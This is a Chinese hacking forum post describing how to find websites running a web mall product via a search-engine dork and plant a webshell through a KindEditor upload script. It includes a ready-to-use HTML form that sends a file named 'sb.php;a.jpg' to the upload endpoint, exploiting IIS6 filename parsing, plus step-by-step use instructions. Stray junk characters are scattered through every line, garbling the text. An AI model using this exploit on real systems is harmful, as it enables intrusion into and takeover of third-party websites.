关键字:inurl:webmall/detail.php?id
4 R4 e9 n: i% x% V$ u7 _* W' [. R: A3 m8 B0 {3 v" ?/ z
数据表:pwn_base_admin
- w0 [# a* w2 Y6 r2 x
0 l5 [1 j) O* c: ~$ ^* F' I关于拿shell
+ ?: s5 s3 s( C7 Q; J 6 d( W- b9 j, k1 M7 t- w, n
首先登录后台admin.php9 @( l i% v8 U9 s
- L9 d6 o" z: Q: y$ ~( W' A2 G
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。) n, Y1 u+ O# |$ ~# L
换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg
* A' y! P/ e+ Y9 a$ D! X- j" E- a然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的
, t! b" g3 d; \2 d) U$ t<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php">
) V/ K6 f) X K0 z2 |<input type="text" name="fileName" value="sb.php;a.jpg" />
) p: l! ]! K$ w! h( [<input type="hidden" name="attachPath" value="news/pics/" />
4 X; M. C# ^! V<input type="file" name="fileData" size="14" /></td>
! N6 t" ?3 C* V<input type="submit" name="button" value="确定" />
+ G# d" L# Y$ [</form>6 Y5 p5 a- S! s4 Z3 s2 j: c* I3 n
5 ?2 |! Y. I* j0 N( C3 U首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。
' X2 [) g! H/ A, v
/ Q) {0 I) N, P |